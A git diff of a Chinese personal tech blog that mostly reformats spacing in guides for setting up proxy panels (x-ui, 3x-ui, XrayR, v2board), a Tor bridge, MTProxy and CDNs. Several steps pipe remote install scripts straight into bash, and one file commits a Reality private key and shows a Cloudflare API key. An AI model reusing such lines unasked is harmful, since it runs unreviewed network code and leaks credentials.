@ -189,7 +189,7 @@ for item in "${web_arry[@]}"; do
|
|||||||
done
|
done
|
||||||
```
|
```
|
||||||
|
|
||||||
### 适用于 mysql+nginx的网站,需要备份文件和数据库
|
### 适用于 mysql+nginx 的网站,需要备份文件和数据库
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
@ -4,7 +4,7 @@ date: 2024-07-02T17:19:38+08:00
|
|||||||
tags: []
|
tags: []
|
||||||
---
|
---
|
||||||
|
|
||||||
> **系统自带内核高于4.9 则默认已包含 BBR**
|
> **系统自带内核高于 4.9 则默认已包含 BBR**
|
||||||
|
|
||||||
### 1. 检查内核版本
|
### 1. 检查内核版本
|
||||||
|
|
||||||
@ -14,9 +14,9 @@ uname -r
|
|||||||
|
|
||||||
> 内核版本高于 4.9 就行。
|
> 内核版本高于 4.9 就行。
|
||||||
|
|
||||||
### 2. 开启BBR
|
### 2. 开启 BBR
|
||||||
|
|
||||||
通过向 `/etc/sysctl.conf`文件添加配置来启用BBR
|
通过向 `/etc/sysctl.conf`文件添加配置来启用 BBR
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
echo "net.core.default_qdisc=fq" | sudo tee -a /etc/sysctl.conf
|
echo "net.core.default_qdisc=fq" | sudo tee -a /etc/sysctl.conf
|
||||||
@ -31,13 +31,13 @@ su root -c "sudo sysctl -p"
|
|||||||
|
|
||||||
### 4. 生效检测
|
### 4. 生效检测
|
||||||
|
|
||||||
**执行下面命令,如果结果中带有****[bbr](https://www.moeelf.com/tag/bbr "View all posts in bbr")** **,则证明你的内核已开启****[bbr](https://www.moeelf.com/tag/bbr "View all posts in bbr")** **。**
|
**执行下面命令,如果结果中带有****[bbr](https://www.moeelf.com/tag/bbr "View all posts in bbr")** **,则证明你的内核已开启****[bbr](https://www.moeelf.com/tag/bbr "View all posts in bbr")** **。**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sysctl net.ipv4.tcp_available_congestion_control
|
sysctl net.ipv4.tcp_available_congestion_control
|
||||||
```
|
```
|
||||||
|
|
||||||
**注:也可以执行下面命令,如果结果中有****[bbr](https://www.moeelf.com/tag/bbr "View all posts in bbr")** **,也可以证明你的内核已开启****[bbr](https://www.moeelf.com/tag/bbr "View all posts in bbr")** **。**
|
**注:也可以执行下面命令,如果结果中有****[bbr](https://www.moeelf.com/tag/bbr "View all posts in bbr")** **,也可以证明你的内核已开启****[bbr](https://www.moeelf.com/tag/bbr "View all posts in bbr")** **。**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
lsmod | grep bbr
|
lsmod | grep bbr
|
||||||
|
33
src/content/技术日志/vpn/3x-ui配置.md
Normal file
33
src/content/技术日志/vpn/3x-ui配置.md
Normal file
@ -0,0 +1,33 @@
|
|||||||
|
---
|
||||||
|
title: "3x-ui配置"
|
||||||
|
date: 2025-04-19T10:48:48+08:00
|
||||||
|
tags: []
|
||||||
|
---
|
||||||
|
|
||||||
|
3x-ui:[https://github.com/MHSanaei/3x-ui](https://github.com/MHSanaei/3x-ui)
|
||||||
|
|
||||||
|
安全:`Reality`
|
||||||
|
|
||||||
|
Dest (Target)
|
||||||
|
|
||||||
|
```txt
|
||||||
|
apple.com:443
|
||||||
|
```
|
||||||
|
|
||||||
|
SNI
|
||||||
|
|
||||||
|
```txt
|
||||||
|
apple.com
|
||||||
|
```
|
||||||
|
|
||||||
|
公钥
|
||||||
|
|
||||||
|
```txt
|
||||||
|
jCK3ORKMwzmJsig7gMWOTGlaF2wvuVAcEr7jbB1bnwU
|
||||||
|
```
|
||||||
|
|
||||||
|
私钥
|
||||||
|
|
||||||
|
```txt
|
||||||
|
oN60djdg_ZRUiChp0Rj-emZ3VhM_x8rL93H4rhdq1Wc
|
||||||
|
```
|
@ -6,19 +6,19 @@ tags: ["x-ui"]
|
|||||||
|
|
||||||
## 一、部署安装
|
## 一、部署安装
|
||||||
|
|
||||||
GitHub项目地址:[https://github.com/FranzKafkaYu/x-ui](https://github.com/FranzKafkaYu/x-ui)
|
GitHub 项目地址:[https://github.com/FranzKafkaYu/x-ui](https://github.com/FranzKafkaYu/x-ui)
|
||||||
|
|
||||||
1. 复制粘贴以下代码,并运行:
|
1. 复制粘贴以下代码,并运行:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
bash <(curl -Ls https://raw.githubusercontent.com/FranzKafkaYu/x-ui/master/install.sh)
|
bash <(curl -Ls https://raw.githubusercontent.com/FranzKafkaYu/x-ui/master/install.sh)
|
||||||
```
|
```
|
||||||
|
|
||||||
注意:在IPv6 Only的VPS中(例如:Euserv、Hax),请先安装warp,否则无法访问Github API而报错。
|
注意:在 IPv6 Only 的 VPS 中(例如:Euserv、Hax),请先安装 warp,否则无法访问 Github API 而报错。
|
||||||
|
|
||||||
2. 设置用户名密码、面板访问端口。
|
2. 设置用户名密码、面板访问端口。
|
||||||
|
|
||||||
待出现X-ui的菜单时,就已经成功一半了!
|
待出现 X-ui 的菜单时,就已经成功一半了!
|
||||||
|
|
||||||
## 二、配置
|
## 二、配置
|
||||||
|
|
||||||
@ -31,7 +31,7 @@ GitHub项目地址:[https://github.com/FranzKafkaYu/x-ui](https://github.com/F
|
|||||||
- 端口:`443`
|
- 端口:`443`
|
||||||
- reality:`开启`
|
- reality:`开启`
|
||||||
- 添加用户:+
|
- 添加用户:+
|
||||||
- flow选择xtls-rprx-vision
|
- flow 选择 xtls-rprx-vision
|
||||||
- 其他默认
|
- 其他默认
|
||||||
|
|
||||||
## 三、使用
|
## 三、使用
|
||||||
|
@ -12,7 +12,7 @@ yum install tor -y
|
|||||||
|
|
||||||
## 2. 安装 obfs4
|
## 2. 安装 obfs4
|
||||||
|
|
||||||
### 通过python进行编译安装
|
### 通过 python 进行编译安装
|
||||||
|
|
||||||
#### 安装所需依赖软件模块
|
#### 安装所需依赖软件模块
|
||||||
|
|
||||||
@ -26,21 +26,21 @@ yum install make automake gcc python-pip python-devel libyaml-devel
|
|||||||
pip install obfsproxy
|
pip install obfsproxy
|
||||||
```
|
```
|
||||||
|
|
||||||
### 通过go进行编译安装
|
### 通过 go 进行编译安装
|
||||||
|
|
||||||
#### 下载go的obfs4项目
|
#### 下载 go 的 obfs4 项目
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
git clone http://www.github.com/Yawning/obfs4
|
git clone http://www.github.com/Yawning/obfs4
|
||||||
```
|
```
|
||||||
|
|
||||||
#### 进入obfs4目录进行编译
|
#### 进入 obfs4 目录进行编译
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
go build -o obfs4proxy/obfs4proxy ./obfs4proxy
|
go build -o obfs4proxy/obfs4proxy ./obfs4proxy
|
||||||
```
|
```
|
||||||
|
|
||||||
#### 复制bofs4proxy到系统工作目录下
|
#### 复制 bofs4proxy 到系统工作目录下
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cp ./obfs4proxy/obfs4proxy /usr/bin/obfs4proxy
|
cp ./obfs4proxy/obfs4proxy /usr/bin/obfs4proxy
|
||||||
@ -67,13 +67,13 @@ ExtORPort auto
|
|||||||
PublishServerDescriptor 0
|
PublishServerDescriptor 0
|
||||||
```
|
```
|
||||||
|
|
||||||
### 重启tor服务
|
### 重启 tor 服务
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
systemctl restart tor
|
systemctl restart tor
|
||||||
```
|
```
|
||||||
|
|
||||||
### 查看tor服务状态
|
### 查看 tor 服务状态
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
systemctl status tor
|
systemctl status tor
|
||||||
@ -128,7 +128,7 @@ iatmode=0
|
|||||||
vim /etc/firewalld/zones/public.xml
|
vim /etc/firewalld/zones/public.xml
|
||||||
```
|
```
|
||||||
|
|
||||||
内容如下(本例ORPort端口 => 6666, obfs4端口 => 46396):
|
内容如下(本例 ORPort 端口 => 6666, obfs4 端口 => 46396):
|
||||||
|
|
||||||
```xml
|
```xml
|
||||||
<port protocol="tcp" port="ORPort端口"/>
|
<port protocol="tcp" port="ORPort端口"/>
|
||||||
@ -143,4 +143,4 @@ vim /etc/firewalld/zones/public.xml
|
|||||||
firewall-cmd --complete-reload
|
firewall-cmd --complete-reload
|
||||||
```
|
```
|
||||||
|
|
||||||
[Tor浏览器下载地址](https://www.torproject.org/download/)
|
[Tor 浏览器下载地址](https://www.torproject.org/download/)
|
||||||
|
@ -1,11 +0,0 @@
|
|||||||
---
|
|
||||||
title: "dns 解锁"
|
|
||||||
date: 2025-01-18 14:19:00Z
|
|
||||||
tags: []
|
|
||||||
---
|
|
||||||
|
|
||||||
## 1. 安装dnsmasq
|
|
||||||
|
|
||||||
```bash
|
|
||||||
yum install dnsmasq -y
|
|
||||||
```
|
|
@ -4,7 +4,7 @@ date: 2023-04-06T19:23:00Z
|
|||||||
tags: ["v2board"]
|
tags: ["v2board"]
|
||||||
---
|
---
|
||||||
|
|
||||||
确保v2board版本在1.2.5及以上
|
确保 v2board 版本在 1.2.5 及以上
|
||||||
|
|
||||||
## 一、安装与更新
|
## 一、安装与更新
|
||||||
|
|
||||||
@ -14,7 +14,7 @@ bash <(curl -Ls https://raw.githubusercontent.com/XrayR-project/XrayR-release/ma
|
|||||||
|
|
||||||
## 二、域名配置
|
## 二、域名配置
|
||||||
|
|
||||||
将域名托管到cloudflared
|
将域名托管到 cloudflared
|
||||||
|
|
||||||
## 三、同步时间(重要)
|
## 三、同步时间(重要)
|
||||||
|
|
||||||
@ -53,20 +53,19 @@ ntpdate time.nist.gov
|
|||||||
|
|
||||||
- 节点名称:随便填写
|
- 节点名称:随便填写
|
||||||
- 权限组:随便填写
|
- 权限组:随便填写
|
||||||
- 节点地址:填cf的ip或者伪装的域名
|
- 节点地址:填 cf 的 ip 或者伪装的域名
|
||||||
- TLS:伪装的域名
|
- TLS:伪装的域名
|
||||||
- 端口:443
|
- 端口:443
|
||||||
- 传输协议:选择websocket
|
- 传输协议:选择 websocket
|
||||||
|
|
||||||
### 配置协议
|
### 配置协议
|
||||||
|
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"path": "/随便",
|
"path": "/随便",
|
||||||
"headers":
|
"headers": {
|
||||||
{
|
"Host": "伪装的域名"
|
||||||
"Host": "伪装的域名"
|
}
|
||||||
}
|
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
@ -92,13 +91,12 @@ ConnectionConfig:
|
|||||||
DownlinkOnly: 4 # Time limit when the connection is closed after the uplink is closed, Second
|
DownlinkOnly: 4 # Time limit when the connection is closed after the uplink is closed, Second
|
||||||
BufferSize: 64 # The internal cache size of each connection, kB
|
BufferSize: 64 # The internal cache size of each connection, kB
|
||||||
Nodes:
|
Nodes:
|
||||||
-
|
- PanelType: "NewV2board" ## 对接的面板类型: SSpanel, V2board, NewV2board, PMpanel, Proxypanel, V2RaySocks
|
||||||
PanelType: "NewV2board" ## 对接的面板类型: SSpanel, V2board, NewV2board, PMpanel, Proxypanel, V2RaySocks
|
|
||||||
ApiConfig:
|
ApiConfig:
|
||||||
ApiHost: "https://****.com" ## 面板域名地址,或自定义个专用后端对接不提供访问的域名
|
ApiHost: "https://****.com" ## 面板域名地址,或自定义个专用后端对接不提供访问的域名
|
||||||
ApiKey: "*****" ## 面板设置的通讯密钥
|
ApiKey: "*****" ## 面板设置的通讯密钥
|
||||||
NodeID: 1 ## 前端节点id
|
NodeID: 1 ## 前端节点id
|
||||||
NodeType: V2ray ## 对接的节点类型:可选V2ray, Shadowsocks, Trojan
|
NodeType: V2ray ## 对接的节点类型:可选V2ray, Shadowsocks, Trojan
|
||||||
Timeout: 30 # Timeout for the api request
|
Timeout: 30 # Timeout for the api request
|
||||||
EnableVless: false # Enable Vless for V2ray Type
|
EnableVless: false # Enable Vless for V2ray Type
|
||||||
EnableXTLS: false # Enable XTLS for V2ray and Trojan
|
EnableXTLS: false # Enable XTLS for V2ray and Trojan
|
||||||
@ -113,8 +111,8 @@ CertConfig:
|
|||||||
Provider: cloudflare # DNS cert provider, Get the full support list here: https://go-acme.github.io/lego/dns/
|
Provider: cloudflare # DNS cert provider, Get the full support list here: https://go-acme.github.io/lego/dns/
|
||||||
Email: test@me.com
|
Email: test@me.com
|
||||||
DNSEnv: # DNS ENV option used by DNS provider
|
DNSEnv: # DNS ENV option used by DNS provider
|
||||||
CLOUDFLARE_EMAIL: test@me.com ##CF登录邮箱
|
CLOUDFLARE_EMAIL: test@me.com ##CF登录邮箱
|
||||||
CLOUDFLARE_API_KEY: 57b4d8ec82ec3e ##CF全局api
|
CLOUDFLARE_API_KEY: 57b4d8ec82ec3e ##CF全局api
|
||||||
```
|
```
|
||||||
|
|
||||||
## 六、启动 XrayR
|
## 六、启动 XrayR
|
||||||
|
@ -4,7 +4,7 @@ date: 2021-07-31T01:17:00+08:00
|
|||||||
tags: ["v2board"]
|
tags: ["v2board"]
|
||||||
---
|
---
|
||||||
|
|
||||||
确保v2board版本在1.2.5及以上
|
确保 v2board 版本在 1.2.5 及以上
|
||||||
|
|
||||||
## 一、安装与更新
|
## 一、安装与更新
|
||||||
|
|
||||||
@ -49,9 +49,9 @@ ntpdate time.nist.gov
|
|||||||
|
|
||||||
- 节点名称:随便填写
|
- 节点名称:随便填写
|
||||||
- 权限组:随便填写
|
- 权限组:随便填写
|
||||||
- 节点地址:填v2borad的域名或ip
|
- 节点地址:填 v2borad 的域名或 ip
|
||||||
- TLS:填v2borad的域名或不填
|
- TLS:填 v2borad 的域名或不填
|
||||||
- 传输协议:选择websocket
|
- 传输协议:选择 websocket
|
||||||
|
|
||||||
### 配置协议
|
### 配置协议
|
||||||
|
|
||||||
|
@ -10,36 +10,38 @@ tags: ["v2board"]
|
|||||||
|
|
||||||
## 二、配置 AWS CloudFront
|
## 二、配置 AWS CloudFront
|
||||||
|
|
||||||
1. 创建aws账号
|
1. 创建 aws 账号
|
||||||
2. 在aws后台直接搜-`CloudFront`-创建分配
|
2. 在 aws 后台直接搜-`CloudFront`-创建分配
|
||||||
3. 创建分配配置:
|
3. 创建分配配置:
|
||||||
- 源域:cloudflared托管的域名
|
- 源域:cloudflared 托管的域名
|
||||||
- 协议:仅 HTTPS
|
- 协议:仅 HTTPS
|
||||||
- 最低源 SSL 协议:TLSv1.1
|
- 最低源 SSL 协议:TLSv1.1
|
||||||
- 自动压缩对象:否
|
- 自动压缩对象:否
|
||||||
- 缓存键和源请求:Legacy cache settings
|
- 缓存键和源请求:Legacy cache settings
|
||||||
- Web Application Firewall (WAF):Do not enable security protections
|
- Web Application Firewall (WAF):Do not enable security protections
|
||||||
- 其他设置默认
|
- 其他设置默认
|
||||||
|
|
||||||
## 三、添加节点
|
## 三、添加节点
|
||||||
|
|
||||||
1. 复制一份创造成功的节点
|
1. 复制一份创造成功的节点
|
||||||
2. 修改复制节点:
|
2. 修改复制节点:
|
||||||
- 后台 > 节点管理 > 添加节点
|
|
||||||
- 节点名称:随便填写
|
|
||||||
- 权限组:随便填写
|
|
||||||
- 节点地址:CloudFront分配的域名
|
|
||||||
- TLS:关闭
|
|
||||||
- 端口:80
|
|
||||||
- 父节点:选择创造好的节点
|
|
||||||
- 传输协议:选择websocket
|
|
||||||
- 配置协议:
|
|
||||||
|
|
||||||
```json
|
- 后台 > 节点管理 > 添加节点
|
||||||
{
|
|
||||||
"path": "/随便",
|
- 节点名称:随便填写
|
||||||
"headers": {
|
- 权限组:随便填写
|
||||||
"Host": "CloudFront分配的域名"
|
- 节点地址:CloudFront 分配的域名
|
||||||
}
|
- TLS:关闭
|
||||||
}
|
- 端口:80
|
||||||
```
|
- 父节点:选择创造好的节点
|
||||||
|
- 传输协议:选择 websocket
|
||||||
|
- 配置协议:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"path": "/随便",
|
||||||
|
"headers": {
|
||||||
|
"Host": "CloudFront分配的域名"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
@ -10,9 +10,9 @@ GitHub 项目地址:[https://github.com/FranzKafkaYu/x-ui][1]
|
|||||||
|
|
||||||
1. 复制粘贴以下代码,并运行:
|
1. 复制粘贴以下代码,并运行:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
bash <(curl -Ls https://raw.githubusercontent.com/FranzKafkaYu/x-ui/master/install.sh)
|
bash <(curl -Ls https://raw.githubusercontent.com/FranzKafkaYu/x-ui/master/install.sh)
|
||||||
```
|
```
|
||||||
|
|
||||||
注意:在 IPv6 Only 的 VPS 中(例如:Euserv、Hax),请先安装 warp,否则无法访问 Github API 而报错。
|
注意:在 IPv6 Only 的 VPS 中(例如:Euserv、Hax),请先安装 warp,否则无法访问 Github API 而报错。
|
||||||
|
|
||||||
|
@ -4,12 +4,12 @@ date: 2021-07-31T00:03:00+08:00
|
|||||||
tags: ["v2ray"]
|
tags: ["v2ray"]
|
||||||
---
|
---
|
||||||
|
|
||||||
## 一、v2ray官方安装
|
## 一、v2ray 官方安装
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
bash <(curl -s -L https://git.io/v2ray.sh)
|
bash <(curl -s -L https://git.io/v2ray.sh)
|
||||||
```
|
```
|
||||||
|
|
||||||
## 二、v2ray-agent安装
|
## 二、v2ray-agent 安装
|
||||||
|
|
||||||
v2ray-agent 八合一脚本:[https://github.com/mack-a/v2ray-agent](https://github.com/mack-a/v2ray-agent)
|
v2ray-agent 八合一脚本:[https://github.com/mack-a/v2ray-agent](https://github.com/mack-a/v2ray-agent)
|
||||||
|
@ -4,8 +4,7 @@ date: 2021-08-09T00:07:00+08:00
|
|||||||
tags: []
|
tags: []
|
||||||
---
|
---
|
||||||
|
|
||||||
1.同步时间
|
## 1.同步时间
|
||||||
------
|
|
||||||
|
|
||||||
CentOS 7
|
CentOS 7
|
||||||
|
|
||||||
@ -26,8 +25,7 @@ Debian 9 / Ubuntu 16
|
|||||||
ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
|
ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
|
||||||
ntpdate time.nist.gov
|
ntpdate time.nist.gov
|
||||||
|
|
||||||
2.一键安装
|
## 2.一键安装
|
||||||
------
|
|
||||||
|
|
||||||
mkdir /home/mtproxy && cd /home/mtproxy
|
mkdir /home/mtproxy && cd /home/mtproxy
|
||||||
curl -s -o mtproxy.sh https://raw.githubusercontent.com/ellermister/mtproxy/master/mtproxy.sh && chmod +x mtproxy.sh && bash mtproxy.sh
|
curl -s -o mtproxy.sh https://raw.githubusercontent.com/ellermister/mtproxy/master/mtproxy.sh && chmod +x mtproxy.sh && bash mtproxy.sh
|
||||||
|
@ -6,39 +6,44 @@ tags: []
|
|||||||
|
|
||||||
三件套包含:
|
三件套包含:
|
||||||
|
|
||||||
- Google服务框架
|
- Google 服务框架
|
||||||
- Google Play Service
|
- Google Play Service
|
||||||
- Google Play Store
|
- Google Play Store
|
||||||
|
|
||||||
## Google服务框架
|
## Google 服务框架
|
||||||
|
|
||||||
下载地址:`https://www.apkmirror.com/apk/google-inc/google-services-framework/`
|
下载地址:
|
||||||
|
[https://www.apkmirror.com/apk/google-inc/google-services-framework/](https://www.apkmirror.com/apk/google-inc/google-services-framework/)
|
||||||
|
|
||||||
首先点击上边的网站,到Google服务框架程序的发布地址,然后找到和自己手机的安卓版本相匹配的版本。
|
首先点击上边的网站,到 Google 服务框架程序的发布地址,然后找到和自己手机的安卓版本相匹配的版本。
|
||||||
选择noDPI的版本
|
选择 noDPI 的版本
|
||||||
|
|
||||||
关于ARM版本:
|
关于 ARM 版本:
|
||||||
**一般近两年发布的手机,ARM版本都是ARMv8。如果是老手机,可以先搜一下自己的ARM版本。
|
**一般近两年发布的手机,ARM 版本都是 ARMv8。如果是老手机,可以先搜一下自己的 ARM 版本。
|
||||||
也可以直接下载universal版本,也就是兼容v8和v7的版本。**
|
也可以直接下载 universal 版本,也就是兼容 v8 和 v7 的版本。**
|
||||||
|
|
||||||
## Google Play Service
|
## Google Play Service
|
||||||
|
|
||||||
下载地址:`https://www.apkmirror.com/apk/google-inc/google-play-services/`
|
下载地址:
|
||||||
|
|
||||||
首先点击上边的网站,到Google Play Service的发布地址,然后找到和自己手机的安卓版本相匹配的版本。
|
[https://www.apkmirror.com/apk/google-inc/google-play-services/](https://www.apkmirror.com/apk/google-inc/google-play-services/)
|
||||||
那么就选择noDPI的版本
|
|
||||||
|
|
||||||
关于ARM版本:
|
首先点击上边的网站,到 Google Play Service 的发布地址,然后找到和自己手机的安卓版本相匹配的版本。
|
||||||
**一般近两年发布的手机,ARM版本都是ARMv8。如果是老手机,可以先搜一下自己的ARM版本。
|
那么就选择 noDPI 的版本
|
||||||
也可以直接下载universal版本,也就是兼容v8和v7的版本。**
|
|
||||||
|
关于 ARM 版本:
|
||||||
|
**一般近两年发布的手机,ARM 版本都是 ARMv8。如果是老手机,可以先搜一下自己的 ARM 版本。
|
||||||
|
也可以直接下载 universal 版本,也就是兼容 v8 和 v7 的版本。**
|
||||||
|
|
||||||
## Google Play Store
|
## Google Play Store
|
||||||
|
|
||||||
下载地址:`https://www.apkmirror.com/apk/google-inc/google-play-store/`
|
下载地址:
|
||||||
|
|
||||||
首先点击上边的网站,到Google Play Store的发布地址,然后找到和自己手机的安卓版本相匹配的版本。
|
[https://www.apkmirror.com/apk/google-inc/google-play-store/](https://www.apkmirror.com/apk/google-inc/google-play-store/)
|
||||||
选择noDPI的版本
|
|
||||||
|
|
||||||
关于ARM版本:
|
首先点击上边的网站,到 Google Play Store 的发布地址,然后找到和自己手机的安卓版本相匹配的版本。
|
||||||
**一般近两年发布的手机,ARM版本都是ARMv8。如果是老手机,可以先搜一下自己的ARM版本。
|
选择 noDPI 的版本
|
||||||
也可以直接下载universal版本,也就是兼容v8和v7的版本。**
|
|
||||||
|
关于 ARM 版本:
|
||||||
|
**一般近两年发布的手机,ARM 版本都是 ARMv8。如果是老手机,可以先搜一下自己的 ARM 版本。
|
||||||
|
也可以直接下载 universal 版本,也就是兼容 v8 和 v7 的版本。**
|
||||||
|
@ -12,7 +12,7 @@ tags: ["v2board"]
|
|||||||
|
|
||||||
安装完成后我们登陆宝塔进行环境的安装。
|
安装完成后我们登陆宝塔进行环境的安装。
|
||||||
|
|
||||||
选择使用LNMP的环境安装方式勾选如下信息:
|
选择使用 LNMP 的环境安装方式勾选如下信息:
|
||||||
|
|
||||||
- ☑️ Nginx 1.17
|
- ☑️ Nginx 1.17
|
||||||
- ☑️ MySQL 5.6
|
- ☑️ MySQL 5.6
|
||||||
@ -20,23 +20,23 @@ tags: ["v2board"]
|
|||||||
|
|
||||||
选择快速编译后进行安装。
|
选择快速编译后进行安装。
|
||||||
|
|
||||||
## 二、安装Redis和文件信息
|
## 二、安装 Redis 和文件信息
|
||||||
|
|
||||||
宝塔面板 > 软件商店 > 找到PHP 7.3点击设置 > 安装扩展 > `redis` `fileinfo`进行安装。
|
宝塔面板 > 软件商店 > 找到 PHP 7.3 点击设置 > 安装扩展 > `redis` `fileinfo`进行安装。
|
||||||
|
|
||||||
## 三、解除被禁止的函数
|
## 三、解除被禁止的函数
|
||||||
|
|
||||||
宝塔面板 > 软件商店 > 找到PHP 7.3点击设置 > 禁用功能,将 `putenv` `proc_open` `pcntl_alarm` `pcntl_signal` 从列表中删除。
|
宝塔面板 > 软件商店 > 找到 PHP 7.3 点击设置 > 禁用功能,将 `putenv` `proc_open` `pcntl_alarm` `pcntl_signal` 从列表中删除。
|
||||||
|
|
||||||
## 四、添加站点
|
## 四、添加站点
|
||||||
|
|
||||||
宝塔面板 > 网站 > 添加站点:
|
宝塔面板 > 网站 > 添加站点:
|
||||||
|
|
||||||
- 在域名填入你的域名
|
- 在域名填入你的域名
|
||||||
- 在数据库中选择MySQL
|
- 在数据库中选择 MySQL
|
||||||
- 在 PHP 版本中选择 PHP-73
|
- 在 PHP 版本中选择 PHP-73
|
||||||
|
|
||||||
## 五、安装V2Board
|
## 五、安装 V2Board
|
||||||
|
|
||||||
### 进入站点目录
|
### 进入站点目录
|
||||||
|
|
||||||
@ -57,7 +57,7 @@ rm -rf .htaccess 404.html index.html .user.ini
|
|||||||
git clone https://github.com/v2board/v2board.git ./
|
git clone https://github.com/v2board/v2board.git ./
|
||||||
```
|
```
|
||||||
|
|
||||||
### 安装依赖包以及V2board
|
### 安装依赖包以及 V2board
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sh init.sh
|
sh init.sh
|
||||||
@ -97,13 +97,13 @@ sh init.sh
|
|||||||
php /www/wwwroot/路径/artisan schedule:run
|
php /www/wwwroot/路径/artisan schedule:run
|
||||||
```
|
```
|
||||||
|
|
||||||
根据上述信息添加每1分钟执行一次的定时任务。
|
根据上述信息添加每 1 分钟执行一次的定时任务。
|
||||||
|
|
||||||
## 八、启动队列服务
|
## 八、启动队列服务
|
||||||
|
|
||||||
V2board的邮件系统强依赖队列服务,你想要使用邮件验证及群发邮件必须启动队列服务。下面以宝塔中`supervisor`服务来守护队列服务作为演示。
|
V2board 的邮件系统强依赖队列服务,你想要使用邮件验证及群发邮件必须启动队列服务。下面以宝塔中`supervisor`服务来守护队列服务作为演示。
|
||||||
|
|
||||||
宝塔面板 > 软件商店 > 部署 > 找到Supervisor进行安装,安装完成后点击设置 > 添加守护进程,按照如下填写:
|
宝塔面板 > 软件商店 > 部署 > 找到 Supervisor 进行安装,安装完成后点击设置 > 添加守护进程,按照如下填写:
|
||||||
|
|
||||||
- 名称:填写 `V2board`
|
- 名称:填写 `V2board`
|
||||||
- 运行目录:选择站点目录
|
- 运行目录:选择站点目录
|
||||||
@ -114,11 +114,11 @@ V2board的邮件系统强依赖队列服务,你想要使用邮件验证及群
|
|||||||
|
|
||||||
## 常见问题
|
## 常见问题
|
||||||
|
|
||||||
### 500错误
|
### 500 错误
|
||||||
|
|
||||||
可能的原因:
|
可能的原因:
|
||||||
|
|
||||||
1. 检查站点根目录权限,递归755,保证目录有可写文件的权限。
|
1. 检查站点根目录权限,递归 755,保证目录有可写文件的权限。
|
||||||
2. Redis扩展没有安装或者Redis没有安装造成的。
|
2. Redis 扩展没有安装或者 Redis 没有安装造成的。
|
||||||
3. 可以通过查看storage/logs下的日志来排查错误或者开启debug模式。
|
3. 可以通过查看 storage/logs 下的日志来排查错误或者开启 debug 模式。
|
||||||
4. 重启php7.3。
|
4. 重启 php7.3。
|
||||||
|
@ -3,10 +3,11 @@ title: "CDN配置"
|
|||||||
date: 2023-12-25T12:07:21+08:00
|
date: 2023-12-25T12:07:21+08:00
|
||||||
tags: []
|
tags: []
|
||||||
---
|
---
|
||||||
|
|
||||||
## 域名绑定
|
## 域名绑定
|
||||||
|
|
||||||
1. 绑定到需要加速的服务器(源站)
|
1. 绑定到需要加速的服务器(源站)
|
||||||
2. 配置到cdn平台(加速域名)
|
2. 配置到 cdn 平台(加速域名)
|
||||||
|
|
||||||
## 配置
|
## 配置
|
||||||
|
|
||||||
@ -16,6 +17,6 @@ tags: []
|
|||||||
|
|
||||||
- 加速域名:(加速域名)
|
- 加速域名:(加速域名)
|
||||||
- 回源域名填写:(源站)
|
- 回源域名填写:(源站)
|
||||||
- 回源host选择:与回源域名一致
|
- 回源 host 选择:与回源域名一致
|
||||||
|
|
||||||
改动回源host的目的是为了让vercel那边知道你需要回源到的域名。
|
改动回源 host 的目的是为了让 vercel 那边知道你需要回源到的域名。
|
||||||
|
@ -3,18 +3,20 @@ title: "Cloudflare_自选IP"
|
|||||||
date: 2024-06-18T16:16:35+08:00
|
date: 2024-06-18T16:16:35+08:00
|
||||||
tags: []
|
tags: []
|
||||||
---
|
---
|
||||||
|
|
||||||
## Workers
|
## Workers
|
||||||
|
|
||||||
1. DNS解析
|
1. DNS 解析
|
||||||
|
|
||||||
|
1. 删除现有 Workers 解析(自定义域)
|
||||||
|
2. 将要用的域名解析到自选 IP 上,注意**不要开启**代理(小云朵)
|
||||||
|
|
||||||
1. 删除现有Workers解析(自定义域)
|
|
||||||
2. 将要用的域名解析到自选IP上,注意**不要开启**代理(小云朵)
|
|
||||||
2. 自定义路由
|
2. 自定义路由
|
||||||
|
|
||||||
设置->触发器->路由
|
设置->触发器->路由
|
||||||
|
|
||||||
我要使用`proxy.example.com`作为Workers域名,且要访问全部内容
|
我要使用`proxy.example.com`作为 Workers 域名,且要访问全部内容
|
||||||
|
|
||||||
```text
|
```text
|
||||||
proxy.example.com/*
|
proxy.example.com/*
|
||||||
```
|
```
|
||||||
|
@ -82,11 +82,11 @@ jobs:
|
|||||||
- name: 安装 Python
|
- name: 安装 Python
|
||||||
uses: actions/setup-python@v2
|
uses: actions/setup-python@v2
|
||||||
with:
|
with:
|
||||||
python-version: '3.x'
|
python-version: "3.x"
|
||||||
- name: 安装依赖
|
- name: 安装依赖
|
||||||
run: pip install requests
|
run: pip install requests
|
||||||
- name: 等待源站部署
|
- name: 等待源站部署
|
||||||
run: sleep 1m # 这里用了个笨办法,等待 1 分钟后进行刷新
|
run: sleep 1m # 这里用了个笨办法,等待 1 分钟后进行刷新
|
||||||
- name: 刷新 CDN
|
- name: 刷新 CDN
|
||||||
run: python RefreshCDN.py
|
run: python RefreshCDN.py
|
||||||
```
|
```
|
||||||
|
@ -22,30 +22,30 @@ tags: []
|
|||||||
|
|
||||||
```typescript
|
```typescript
|
||||||
// 网站基本信息
|
// 网站基本信息
|
||||||
export const SITE_URL = 'https://your-domain.com';
|
export const SITE_URL = "https://your-domain.com";
|
||||||
export const SITE_NAME = "你的网站名称";
|
export const SITE_NAME = "你的网站名称";
|
||||||
export const SITE_DESCRIPTION = "网站描述";
|
export const SITE_DESCRIPTION = "网站描述";
|
||||||
|
|
||||||
// 导航链接
|
// 导航链接
|
||||||
export const NAV_LINKS = [
|
export const NAV_LINKS = [
|
||||||
